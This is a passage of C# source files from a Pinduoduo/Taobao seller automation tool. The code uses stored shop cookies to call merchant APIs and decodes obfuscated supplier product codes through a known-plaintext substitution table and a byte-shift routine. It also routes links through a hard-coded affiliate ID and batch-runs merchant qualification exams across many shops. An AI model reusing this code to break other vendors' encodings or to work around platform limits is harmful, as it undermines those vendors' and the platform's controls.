pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn");
if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:"))
goto End;
}
url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail";
Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true,
"{\"goods_sn\":\"" + Good_Sn + "\"}", cookies);
if (!string.IsNullOrEmpty(Html) && Html.Contains("过于频繁"))
{
Thread.Sleep(30*1000);
Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true,
"{\"goods_sn\":\"" + Good_Sn + "\"}", cookies);
}
if (!string.IsNullOrEmpty(Html) && Html.Contains("过于频繁"))
{
Thread.Sleep(90*1000);
Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true,
"{\"goods_sn\":\"" + Good_Sn + "\"}", cookies);
}
pidCode = BaseRegex.GetStringJson(ref Html, @"out_goods_sn");
//if (string.IsNullOrEmpty(pidCode) || pidCode.Contains("wait:")) //没有上家
//{
// Html = new PinduoduoApiGetProduct(Shop).GetProduct(proId);
// var m = BaseRegex.GetMatchRegex(ref Html, @"""outer_goods_id"":""([^""]+?)""");
// if (m != null && m.Count > 0)
// pidCode = m[m.Count - 1].Groups[1].Value;
// if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:"))
// goto End;
//}
//if (string.IsNullOrEmpty(pidCode) || pidCode.Contains("wait:")) //没有上家
//{
// Html = new PinduoduoApiGetProduct(Shop).GetProductInfor(proId);
// var m = BaseRegex.GetMatchRegex(ref Html, @"""outer_goods_id"":""([^""]+?)""");
// if (m != null && m.Count > 0)
// pidCode = m[m.Count - 1].Groups[1].Value;
// if (!string.IsNullOrEmpty(pidCode))
// goto End;
//}
End:
if (string.IsNullOrEmpty(pidCode))
pidCode = BaseRegex.GetMatchRegexString(ref Html, @"(TJM_[a-z0-9=+/]+?)"",""");
if (string.IsNullOrEmpty(pidCode))
pidCode = BaseRegex.GetMatchRegexString(ref Html, @"(JM_[a-z0-9]+?)"",""");
if (string.IsNullOrEmpty(pidCode))
pidCode = BaseRegex.GetMatchRegexString(ref Html, @"[\D]([a-z0-9=+/]+?=)"",""");
if (!string.IsNullOrEmpty(pidCode))
{
string pidCodex = BaseRegex.GetMatchRegexString(ref pidCode, @"([\d]{6,15})"); //未加密
if (!string.IsNullOrEmpty(pidCodex))
{
long upid = long.Parse(pidCodex);
if (upid < 999999999l)
UpId.SiteIdFrom = 2;
else
UpId.SiteIdFrom = 1;
if (pidCode.Contains("tb-"))
UpId.SiteIdFrom = 1;
if (pidCode.Contains("pdd-") || pidCode.Contains("pd-"))
UpId.SiteIdFrom = 2;
if (pidCode.Contains("al-") || pidCode.Contains("albb-") || pidCode.Contains("1688-"))
UpId.SiteIdFrom = 3;
UpId.GetOk = true;
UpId.ProductIdFrom = upid;
AddToTemp(proId);
return;
}
}
if (string.IsNullOrEmpty(pidCode))
{
UpId.Message = "未找到加密密钥";
AddToTemp(proId);
return;
}
if (pidCode.Contains("TJM_"))
{
if (!string.IsNullOrEmpty(pidCode) && pidCode.Contains("|"))
pidCode = pidCode.Substring(0, pidCode.IndexOf("|"));
try
{
byte[] inArray = Convert.FromBase64String(pidCode.Replace("TJM_", ""));
idx = Encoding.UTF8.GetString(inArray);
DeCode(idx);
return;
}
catch
{
UpId.Message = "解密异常,请联系管理员";
}
AddToTemp(proId);
return;
}
if (pidCode.Length > 3 && (pidCode.Substring(0, 3) == "PBB" || pidCode.Substring(0, 3) == "TJH"))
{
int mid = Shop == null ? BaseClass.MallId : Shop.MallId;
if (pidCode.Contains("?"))
{
string data = UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName);
data += "&mall_id=" + mid + "&encode=" + GetHtml.UrlEncodeUtf8(pidCode);
string urlx = BaseClass.BuildObjString("decode&act=get");
idx = GetHtml.PostUtf8(urlx, data);
}
else if (pidCode.Contains("#"))
{
string data = UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName);
data += "&mall_id=" + mid + "&encode=" + GetHtml.UrlEncodeUtf8(pidCode);
string urlx = BaseClass.BuildObjString("decode&act=getx");
idx = GetHtml.PostUtf8(urlx, data);
}
else
{
idx = GetUpId(pidCode, mid);
}
DeCode(idx);
return;
}
if (pidCode.Contains("JM_"))
{
string pid = Decode(pidCode);
if (string.IsNullOrEmpty(pid))
UpId.Message = "解密失败,字典不足";
AddToTemp(proId);
return;
}
if (UpIdsList.Count==0)
{
UpdataUpIds();
}
foreach (string key in UpIdsList.Keys)
{
if (key == proId.ToString())
{
idx = UpIdsList[key].upProIdOne;
if (string.IsNullOrEmpty(idx))
idx = UpIdsList[key].upProIdTwo;
break;
}
}
if (!string.IsNullOrEmpty(idx) && idx.Contains("-"))
{
DeCode(idx);
return;
}
url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get";
string datay = "&pdd_id=" + proId + "&table=" + (proId % 1024);
string htmly = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + datay);
if (!string.IsNullOrEmpty(htmly) && htmly.Contains("-"))
{
DeCode(htmly);
return;
}
UpId.Message = "未找到解密方法,请联系管理员";
}
public static Dictionary<string, UpProId> UpIdsList = new Dictionary<string, UpProId>();
public static void UpdataUpIds()
{
UpIdsList.Clear();
bool had = true;
int page = 1;
while (had)
{
string data = UserLogin.GetSignaturex() + "";
string url = BaseClass.BuildObjString("upid&act=getx&page=" + page);
string html = GetHtml.PostUtf8(url, data);
var m = BaseRegex.GetMatchRegex(ref html, @"({[\s\S]+?})");
for (int i = 0; i < m.Count; i++)
{
var item = m[i].Groups[0].Value;
string pid = BaseRegex.GetStringJson(ref item, "product_id");//商品ID
string upids = BaseRegex.GetStringJson(ref item, "up_ids");//上家Id
string upidsTwo = BaseRegex.GetStringJson(ref item, "up_ids2");//上家Id2
if ((string.IsNullOrEmpty(upids)&& string.IsNullOrEmpty(upidsTwo)) || string.IsNullOrEmpty(pid))
continue;
if (UpIdsList.ContainsKey(pid))//如果dictionary 存在相同的key,remove后再添加。
{
UpIdsList.Remove(pid);
}
UpProId upProId = new UpProId();
upProId.upProIdOne = upids;
upProId.upProIdTwo = upidsTwo;
UpIdsList.Add(pid, upProId);
}
had = m.Count > 2;
page++;
}
}
public void DeCode(string idx)
{
string rid = BaseRegex.GetMatchRegexString(idx, @"([\d]+)");
if (string.IsNullOrEmpty(rid))
{
UpId.Message = "解密遇到空数据";
return;
}
UpId.ProductIdFrom = long.Parse(rid);
if (idx.Contains("tb-"))
UpId.SiteIdFrom = 1;
if (idx.Contains("pd-"))
{
if (idx.Length>13)
{
UpId.SiteIdFrom = 1;
}
UpId.SiteIdFrom = 2;
}
if (idx.Contains("al-"))
UpId.SiteIdFrom = 3;
if (idx.Contains("jx-"))
UpId.SiteIdFrom = 4;
if (idx.Contains("wd-"))
UpId.SiteIdFrom = 6;
UpId.GetOk = true;
}
public bool GetServerId(long pid,out string idx)
{
idx = "";
string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get";
string data = "&pdd_id=" + pid + "&table=" + (pid % 1024);
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + data);
if (html == "none")
return false;
idx = html;
return true;
}
/// <summary>
/// 新版加密解密
/// </summary>
/// <param name="code"></param>
/// <param name="mid"></param>
/// <returns></returns>
public string GetUpId(string code, int mid)
{
if (string.IsNullOrEmpty(code) || !code.Contains("PBB") && !code.Contains("TJH"))
return "";
if (!code.Contains("|"))
return "";
int ridMain = int.Parse(code.Substring(code.IndexOf("|") + 1));
int ridClient = (mid % ridMain) % 26;
List<int> k = new List<int>();
char[] ke = mid.ToString().ToCharArray();
for (int i = 0; i < ke.Length; i++)
{
int j = int.Parse(ke[i].ToString());
k.Add(j);
}
string codeNew = code.Substring(3, code.IndexOf("|") - 3);
byte[] b = Convert.FromBase64String(codeNew);
int y = 0;
for (int i = 0; i < b.Length; i++)
{
int z = b[i] - k[y] * ridClient;
if (z < 0)
z += 256;
b[i] = (byte)(z % 256);
y++;
if (y >= ke.Length)
y = 0;
}
string decode = Encoding.UTF8.GetString(b);
return decode;
}
private void AddToTemp(long proId)
{
if(proId==0 || UpId.ProductIdFrom==0)
return;
try
{
UpId.Url = GetJumpUrl(UpId.SiteIdFrom, UpId.ProductIdFrom);
if (!UpShopIdFromServer.UpIds.ContainsKey(proId))
{
UpShopIdFromServer.UpIds.Add(proId,UpId);
}
}
catch
{
}
}
/// <summary>
/// 解密密文
/// </summary>
/// <param name="code"></param>
/// <returns></returns>
public string Decode(string code)
{
string temp = "";
if (code.Contains("JM_DD8E5ED"))
{
UpId.SiteIdFrom = 1;
code = code.Replace("JM_DD8E5ED", "");
int b = 0;
char[] h = code.ToCharArray();
temp = "";
for (int i = 0; i < h.Length + 1; i += 2)
{
char a = h[i];
if (ShouZhangXinTb[b].ContainsKey(a))
temp += ShouZhangXinTb[b][a];
else
return "";
b++;
}
}
if (code.Contains("JM_D98817C43"))
{
UpId.SiteIdFrom = 2;
code = code.Replace("JM_D98817C43", "");
int b = 1;
char[] h = code.ToCharArray();
temp = "";
for (int i = 0; i < h.Length + 1; i += 2)
{
char a = h[i];
if (ShouZhangXinTb[b].ContainsKey(a))
temp += ShouZhangXinTb[b][a];
else
return "";
b++;
}
}
long.TryParse(temp,out UpId.ProductIdFrom);
UpId.SiteId = 2;
UpId.GetOk = true;
UpId.Url = GetJumpUrl(UpId.SiteIdFrom, UpId.ProductIdFrom);
return temp;
}
public static string GetJumpUrl(int siteId, long pid)
{
string url = "";
if (pid>9900000000)
{
if (siteId != 3)
{
url = "http://taoke.qixiaoke.com/first.php?pid=mm_15630535_36114777_129010993&product_id=" + pid;
if (!string.IsNullOrEmpty(BaseClass.AlimamaPid) && !string.IsNullOrEmpty(BaseClass.AlimamaDomain))
url = "http://" + BaseClass.AlimamaDomain + "/first.php?pid=" + BaseClass.AlimamaPid + "&product_id=" + pid;
}
else
{
url = "https://detail.1688.com/offer/"+ pid + ".html";
}
}
if ( pid < 9900000000)
{
url = BaseClass.LoginApiUrl + "?obj=upshopid/pinduoduo_click&act=jump&id=" + pid;
}
return url;
}
public void Ini()
{
ShouZhangXinTb.Clear();
ShouZhangXinPdd.Clear();
string[] l = DeCodeString.Split('\n');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("\t"))
continue;
string[] li = l[i].Split('\t');
string c = li[0];
string id = li[1];
if (c.Contains("JM_DD8E5ED"))
{
int b = 0;
c = c.Replace("JM_DD8E5ED", "");
char[] h = c.ToCharArray();
char[] s = id.Trim().ToCharArray();
for (int j = 0; b < 12 && b < s.Length; j += 2)
{
if (!ShouZhangXinTb.ContainsKey(b))
ShouZhangXinTb.Add(b, new Dictionary<char, char>());
char a = h[j];
char d = s[b];
if (!ShouZhangXinTb[b].ContainsKey(a))
ShouZhangXinTb[b].Add(a, d);
if (!ShouZhangXinTb[b].ContainsKey(d))
ShouZhangXinTb[b].Add(d, a);
b++;
}
}
if (c.Contains("JM_D98817C43"))
{
int b = 0;
c = c.Replace("JM_D98817C43", "");
char[] h = c.ToCharArray();
char[] s = id.Trim().ToCharArray();
for (int j = 0; b < 12 && b < s.Length; j += 2)
{
if (!ShouZhangXinPdd.ContainsKey(b))
ShouZhangXinPdd.Add(b, new Dictionary<char, char>());
char a = h[j];
char d = s[b];
if (!ShouZhangXinPdd[b].ContainsKey(a))
ShouZhangXinPdd[b].Add(a, d);
if (!ShouZhangXinPdd[b].ContainsKey(d))
ShouZhangXinPdd[b].Add(d, a);
b++;
}
}
}
string allMun = "0123456789";
foreach (KeyValuePair<int, Dictionary<char, char>> key in ShouZhangXinTb)
{
string noHad = allMun;
string noReplace = allMun + "ABCDEF";
string temp = "";
foreach (KeyValuePair<char, char> ke in key.Value)
{
noHad = noHad.Replace(ke.Value.ToString(), "");
noReplace = noReplace.Replace(ke.Key.ToString(), "");
temp += ke.Key + " = " + ke.Value + "\r\n";
}
if (noHad.Length == 1)
{
char[] no = noReplace.ToCharArray();
foreach (char c in no)
{
key.Value.Add(c, char.Parse(noHad));
}
}
}
foreach (KeyValuePair<int, Dictionary<char, char>> key in ShouZhangXinPdd)
{
string noHad = allMun;
string noReplace = allMun + "ABCDEF";
string temp = "";
foreach (KeyValuePair<char, char> ke in key.Value)
{
noHad = noHad.Replace(ke.Value.ToString(), "");
noReplace = noReplace.Replace(ke.Key.ToString(), "");
temp += ke.Key + " = " + ke.Value + "\r\n";
}
if (noHad.Length == 1)
{
char[] no = noReplace.ToCharArray();
foreach (char c in no)
{
key.Value.Add(c, char.Parse(noHad));
}
}
}
ShouZhangXinPdd[9] = ShouZhangXinTb[10];
//string t = Decode("JM_DD8E5EDC3643D01817BAEC21C67352");
}
public string DeCodeString = @"JM_DD8E5EDC3542D11713B9EB21C07752 564961026602
JM_DD8E5EDC3642D01710B8EF21C47754 554862166204
JM_DD8E5EDC3641D0191BB8E82FC67658 557889118018
JM_DD8E5EDC3542DC1411B0EE21C57756 564453976306
JM_DD8E5EDC3545DF191BB9ED25C07558 563789042628
JM_DD8E5EDC3542D0171AB0ED21C57555 564868946325
JM_DD8E5EDC364FD81713BBEC21C47151 559061256261
JM_DD8E5EDC3542DB1913BEED21C07353 564381746643
JM_DD8E5EDC3641DE111ABDED24C47F57 557608443287
JM_DD8E5EDC3542DC1411B0EE21C57756 564453976306
JM_DD8E5EDC364ED81514BEE82FC77250 558046718150
JM_DD8E5EDC3642D01710B8EF21C47754 554862166204
JM_DD8E5EDC3641DB1512BEEF26C27251 557340761451
JM_DD8E5EDC3543DF1016B1EF27C57050 565714860370
JM_DD8E5EDC374FDD1715B8E923C07152 549567104662
JM_DD8E5EDC3146DC1716BBE82EC37356 520464219546
JM_DD8E5EDC3746DE1511BFE820C37751 540643617501
JM_DD8E5EDC3643DA191ABDEB20C77E56 555288427196
JM_DD8E5EDC3545DA1214B9EA25CF7056 563236032976
JM_DD8E5EDC3543DF1812BDE020C17257 565790497757
JM_DD8E5EDC3545DB131ABCE021C17E50 56332859690
JM_DD8E5EDC3542D01914B0EB2FC77F58 564886928188
JM_DD8E5EDC3543DE1115BEEB22C07259 565607725659
JM_DD8E5EDC3540D91611BBED26C47659 566173241219
JM_DD8E5EDC3544D0111BBCED27CF7351 562809540941
JM_DD8E5EDC3740DA1211BFED2FC67F56 546233648086
JM_DD8E5EDC374FDD1914BAEB21C07354 549586326644
JM_DD8E5EDC3543D81313BFEC24C47E50 565021653290
JM_DD8E5EDC3141D01316BBE923C57755 527824204305
JM_D98817C43B40DC1415B9E022CE 864570958
JM_D98817C43A44DE1212BCE827 92630510
JM_D98817C43142DD1814BDED23C0 245964446
JM_D98817C43B40DC1415B9E022CE 864570958
JM_D98817C43445DC1310BCE927CF 734225009
JM_D98817C43446DD1014BAEF23C4 705163642
JM_D98817C43440D81116BBEA21C0 760042366
JM_D98817C43A45D0121BBDEC22CF 938394559
JM_D98817C4354FDD1017BAE124C0 695153836
JM_D98817C4354FDA191BB9EC21C7 692890561
JM_D98817C43547DD1215BFEA2E 61537639
JM_D98817C43445DF1313B8E82F 73721118
JM_D98817C43045DD1413BAE120C2 335513874
JM_D98817C43546DA1615BBED23C6 602772440
JM_D98817C43140DF141ABFE12FC4 267586882
JM_D98817C43541D11910BDE827C4 679824102
JM_D98817C43446D91316BEE02F 70124798
JM_D98817C43440D11110B1EA25C4 769028322
JM_D98817C43246DB1316BBEE25C27E 1032427249
JM_D98817C43643DC121ABFED21C7 554386461
JM_D98817C43A46DF131ABAEF23 90728364
JM_DD8E5EDC3741DF1011B8E120CE7F59 547713187889
JM_DD8E5EDC3141DF1210B9E923CE7057 527732004877
JM_DD8E5EDC374EDB1213B1E922CF7553 548331805923
JM_DD8E5EDD374FDD1013B8EF22C47E 44951116529
JM_DD8E5EDC3742D81111BBEA20C27355 544003237445
JM_DD8E5EDC3745D91217B9E12FC27354 543135088444
JM_DD8E5EDC3547DF1013B1E120C17F57 561711887787
JM_DD8E5EDC3747D81214BDEA2ECF7051 541036439971
JM_DD8E5EDC3041D1151AB1E122C37254 537948885554
JM_DD8E5EDC3640DB131AB9EC2FC37E52 556328058592
JM_DD8E5EDC3646DE1112B8EF25CF7256 550600162956
JM_DD8E5EDC3641DA151ABFEC2FC57751 557248658301
JM_DD8E5EDC3640DC1415B1ED2ECE7352 556457849842
JM_DD8E5EDC3045DF1511BDEA21C17F51 533743436781
JM_DD8E5EDC3147DB1311BBE923C77457 521323204137
JM_DD8E5EDC364EDC1811B1E821C67253 558493816053
JM_DD8E5EDD3743D01117BDEE26C073 44580547164
JM_DD8E5EDD3144DC1014B1E12EC673 42241688904
JM_DD8E5EDD374ED01114BCEB20C174 44880652773
JM_DD8E5EDC304EDB1712B9E926C27E54 538360001494
JM_DD8E5ED83B43D91217B9EA2FC276 18513503841
JM_DD8E5EDC3142DC1814BDEA21C37652 524496436512
JM_D98817C43645DD1512B0EC20 53540957
JM_D98817C43142D81917BFE826C2 240856114
JM_D98817C43543D0171AB0EF23C0 658689646
JM_D98817C4314ED8131BB8EB 2802912
JM_D98817C4364FDA1212B0E821CF 592309169
JM_D98817C43247D01612B1EC2E 11870859
JM_D98817C43546DB1316BDE8 6032441
JM_D98817C4314ED8131BB8EB 2802912
JM_D98817C4364FDA1212B0E821CF 592309169
JM_D98817C43247D01612B1EC2E 11870859
JM_D98817C43546DB1316BDE8 6032441
JM_D98817C4324EDB1110B9E027 18302090
JM_D98817C43743DB1113B8E92FCF 453011089
JM_DD8E5EDB3345DB1215BDEE2FC076 20333747861
JM_DD8E5EDB3340DA1414B8E82EC474 20625611923
JM_DD8E5EDD3347D91714BAE024C27E 40116639349
JM_DD8E5ED83346D91911B0EC2FC676 10018395801
JM_DD8E5EDA3545DB1016B0EF2FC571 36331496836
JM_D98817C43245D81312BFEE22C4 130206752
JM_D98817C43041D91617BCEA25C7 371755321
JM_D98817C43546DB181AB0E0 6039899
JM_D98817C43140DA1412B9EE 2625007
JM_D98817C43543D0171AB0EF23C0 658689646
JM_D98817C43142D81917BFE826C2 240856114
JM_D98817C43245DD1417BFEF24 13555663
JM_D98817C43246DB1211B9EF20C375 1033306752
JM_D98817C43A41D11315BCE920C6 979275070
JM_D98817C4324FDF1816B9EC23C2 197940544
JM_D98817C43446DB1610BCEC 7037255
JM_D98817C43544D0171ABAEB27C0 628683206
JM_D98817C43745DF1916BBE126C3 437842815
JM_D98817C4304EDC1913B0EA26C4 384819312
JM_D98817C43A42D11713B1E120C3 949618875
JM_D98817C43246DC1416BEEB24C1 104547237
JM_D98817C43A4FDF1815BDEC21C2 997974564
JM_D98817C43544D91115BCEE2FC5 621075783
JM_D98817C43A42DA111BBEE9 9420970
JM_D98817C43B40DA131BBFEA26C7 862296311
JM_D98817C4324FDE1712B9E820 19660017
JM_D98817C43140DF191BB8EF 2678916
JM_D98817C43045DA1111BCEE26 33203571
JM_D98817C43544DF1711BAE0 6276339
JM_D98817C43447DE1011B9E925CF 716130029
JM_D98817C4304FD01310BDE820C1 398224177
JM_D98817C43246D81811B8ED27CE73 1009314084
JM_D98817C4364FD01017BEE127CF 598157809
JM_D98817C43247D01217BEE122 11835785
JM_D98817C43544D01017B8E92FC0 628151086
JM_D98817C43545DA121ABAE020C5 632383973
JM_D98817C4304FD11116B8EB27C6 399041200
JM_D98817C43A43D1101ABEE020C6 959187970
JM_D98817C43241DC1313BEED27 17421740";
}
}
+88
View File
@@ -0,0 +1,88 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using AllBase;
namespace Work.ManageClass
{
public class AddressSetIni
{
public static Dictionary<int, List<AddressBase>> Addresses = new Dictionary<int, List<AddressBase>>();
public static List<AddressBase> AddressList = new List<AddressBase>();
public static List<AddressBase> AddressAllList = new List<AddressBase>();
public static Dictionary<int, List<AddressBase>> Addressdic = new Dictionary<int, List<AddressBase>>();
public void Ini()
{
string file = FileBase.ReadAllText("taobao_address.tjm", Encoding.UTF8);
if (string.IsNullOrEmpty(file))
{
MessageBox.Show("初始化淘宝地址信息错误,请检查网络", "提示");
return;
}
var m = BaseRegex.GetMatchRegex(ref file, @"\[""([\d]+)"",\[""([^""]+?)"",""[^""]+?""\],""([\d]+)""");
for (int i = 0; i < m.Count; i++)
{
AddressBase a = new AddressBase();
a.Id = int.Parse(m[i].Groups[1].Value);
a.Name = m[i].Groups[2].Value;
a.UpId = int.Parse(m[i].Groups[3].Value);
AddressList.Add(a);
if (!Addresses.ContainsKey(a.Id))
Addresses.Add(a.Id, new List<AddressBase>());
if (!Addresses.ContainsKey(a.UpId))
Addresses.Add(a.UpId, new List<AddressBase>());
Addresses[a.UpId].Add(a);
}
}
public void getAddress1688()
{
string strContent = FileBase.ReadAllText("1688_address.tjm");
strContent = GetHtml.UrlDecode(strContent);
var m = BaseRegex.GetMatchRegex(ref strContent, @"{[^}]+?}");
for (int i = 0; m != null && i < m.Count; i++)
{
string addressContent = m[i].Groups[0].Value;
AddressBase a = new AddressBase();
string[] addressArray = addressContent.Split(',');
for (int j = 0; j < addressArray.Length; j++)
{
var itemMatch = BaseRegex.GetMatchRegex(ref addressArray[j], @"([\w\W]+?):([\w\W]+)");
string itemname = itemMatch[0].Groups[1].Value.Replace("{", "");
string itemvalue = itemMatch[0].Groups[2].Value.Replace("\"", "").Replace("}", "");
if (itemname == "a")
{
a.Id = int.Parse(itemvalue);
}
if (itemname == "n")
{
a.Name = itemvalue;
}
if (itemname == "p")
{
a.UpId = int.Parse(itemvalue);
}
}
AddressAllList.Add(a);
if (!Addressdic.ContainsKey(a.Id))
Addressdic.Add(a.Id, new List<AddressBase>());
if (!Addressdic.ContainsKey(a.UpId))
Addressdic.Add(a.UpId, new List<AddressBase>());
Addressdic[a.UpId].Add(a);
}
}
}
public class AddressBase
{
public int Id = 0;
public string Name = "";
public int UpId = 0;
//public Dictionary<int, AddressBase> Address = new Dictionary<int, AddressBase>();
}
}
+41
View File
@@ -0,0 +1,41 @@
using AllBase;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
using Work.CollectClass;
namespace Work.ManageClass
{
public class AdvanceSale
{
public string Name;
public static Dictionary<string, AdvancStatus> dic = new Dictionary<string, AdvancStatus>();
public static List<AdvancStatus> AdvanceList = new List<AdvancStatus>();
public static bool isAdvance = false, SaleSetFalseDown = false, isUpdateAdvance = false;
public static bool apiflag = false;
public static long endAdvanceTime = 0;
public static int ShopThreadCount = 20;
public static bool AllRunningGoods = false;
public static bool RunningAdvance = false;
public static bool NoRunningAdvance = false;
public static bool AllRunningAdvance = false;
}
public class AdvancStatus
{
public string ShopName = "";
public int UpCount = 0;
public int DownCount = 0;
public int PreCount = 0;
public int SetSuccess = 0;
public int DownSuccess = 0;
public string status = "";
}
}
+16
View File
@@ -0,0 +1,16 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.ManageClass
{
public class AlibabaShop
{
public static List<string> NoTitleWords = new List<string>();
public static List<string> TitleCantHad = new List<string>();
public static List<string> NoBrandName = new List<string>();
public static List<string> NoPropWords = new List<string>();
}
}
+496
View File
@@ -0,0 +1,496 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.ManageClass
{
public class AutoQuestion
{
public string Name;
public ShopChatBase Shop;
public static int ShopThreadCount = 50;
public int rowindex = 0;
public int colindex = 0;
public static List<ShopQuestion> ShopQuestionList = new List<ShopQuestion>();
public static List<QuestionKeyValue> pairList = new List<QuestionKeyValue>();
public AutoQuestion(string name)
{
Name = name;
}
public void SetQuestion()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectQue)
continue;
var p = new AutoQuestionControl(Name, shop);
p.rowindex = rowindex;
p.colindex = colindex;
Threadx.ThreadListWait(ref ts, new Thread(p.SetQuestion), ShopThreadCount);
Thread.Sleep(3000);
}
Threadx.ThreadListWait(ref ts);
}
public void QueryQuestion()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectQue)
continue;
var p = new AutoQuestionControl(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.QueryQuestion), ShopThreadCount);
Thread.Sleep(3000);
}
Threadx.ThreadListWait(ref ts);
}
public void SetAllQuestion()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectQue)
continue;
var p = new AutoQuestionControl(Name, shop);
p.rowindex = rowindex;
p.colindex = colindex;
Threadx.ThreadListWait(ref ts, new Thread(p.SetAllQuestion), ShopThreadCount);
Thread.Sleep(3000);
}
Threadx.ThreadListWait(ref ts);
}
public void SetAllEquity()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectQue)
continue;
var p = new AutoQuestionControl(Name, shop);
p.rowindex = rowindex;
p.colindex = colindex;
Threadx.ThreadListWait(ref ts, new Thread(p.SetAllEquity), ShopThreadCount);
Thread.Sleep(3000);
}
Threadx.ThreadListWait(ref ts);
}
public void SetSingleEquity()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectQue)
continue;
var p = new AutoQuestionControl(Name, shop);
p.rowindex = rowindex;
Threadx.ThreadListWait(ref ts, new Thread(p.SetSingleEquity), ShopThreadCount);
Thread.Sleep(3000);
}
Threadx.ThreadListWait(ref ts);
}
}
public class AutoQuestionControl
{
public string Name;
public ShopChatBase Shop;
public int rowindex = 0;
public int colindex = 0;
public List<QuestionKeyValue> satusList = new List<QuestionKeyValue>();
public AutoQuestionControl(string name, ShopChatBase shop)
{
Name = name;
Shop = shop;
}
public void QueryQuestion()
{
QueryQuestion(0);
}
public void QueryQuestion(int type=0)
{
AutoQuestion.pairList.Clear();
satusList.Clear();
string url = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList";
string refere = "https://mms.pinduoduo.com/mallcenter/ability/index";
string data = "{}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
var m = BaseRegex.GetMatchRegex(ref html, @"{""questionnaireId"":[^}]+?}");
for (int j = 0; m != null && j < m.Count; j++)
{
string item = m[j].Groups[0].Value;
int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId");
int finished = BaseRegex.GetIntJson(ref item, "finished");
QuestionKeyValue qk = new QuestionKeyValue();
qk.key = questionnaireId;
qk.value = finished;
satusList.Add(qk);
}
ShopQuestion sq = new ShopQuestion();
sq.Shop = Shop;
sq.satusList = satusList;
AutoQuestion.ShopQuestionList.Add(sq);
m = BaseRegex.GetMatchRegex(ref html, @"""qualificationBenefit"":\s*\[\{[^}]+?\}");
for (int j = 0; m != null && j < m.Count; j++)
{
string item = m[j].Groups[0].Value;
int finished = BaseRegex.GetIntJson(ref item, "benefitStatus");
QuestionKeyValue qk = new QuestionKeyValue();
qk.key = j + 1;
qk.value = finished;
AutoQuestion.pairList.Add(qk);
}
if (type == 0)
LogSave.Add(Name, Shop.ShopName + "查询店铺答题状况完成。");
else
{
var p = AutoQuestion.pairList.Find(s => s.value == 0);
if (p != null)
{
ShopQuestion sqx = new ShopQuestion();
sqx.Shop = Shop;
sqx.status = "领取权益部分失败";
AutoQuestion.ShopQuestionList.Add(sqx);
LogSave.Add(Name, Shop.ShopName + "领取权益部分失败。");
}
else
{
ShopQuestion sqx = new ShopQuestion();
sqx.Shop = Shop;
sqx.status = "领取权益完成";
AutoQuestion.ShopQuestionList.Add(sqx);
LogSave.Add(Name, Shop.ShopName + "领取权益完成。");
}
}
}
public void SetQuestion()
{
if (rowindex == 0 || colindex == 0)
return;
string cookies = Shop.Cookies;
string url = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList";
string refere = "https://mms.pinduoduo.com/mallcenter/ability/index";
string data = "{}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
var m = BaseRegex.GetMatchRegex(ref html, @"{""questionnaireId"":[^}]+?}");
for (int j = 0; m != null && j < m.Count; j++)
{
string item = m[j].Groups[0].Value;
int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId");
int finished = BaseRegex.GetIntJson(ref item, "finished");
if (questionnaireId == colindex && finished == 1)
{
string result = RetResult(colindex, "已通过,考试无需再考");
ShopQuestion sq = new ShopQuestion();
sq.Shop = Shop;
sq.status = "已通过,考试无需再考";
AutoQuestion.ShopQuestionList.Add(sq);
LogSave.Add(Name, result);
return;
}
else
{
break;
}
}
Thread.Sleep(1000);
url = "https://mms.pinduoduo.com/rivendell/api/questionnaire/getQuestionnaireDetail";
refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/"+ colindex;
data = "{\"questionnaireId\":"+colindex+"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
Thread.Sleep(1000);
url = "https://mms.pinduoduo.com/rivendell/api/qualification/detail";
refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/"+ colindex;
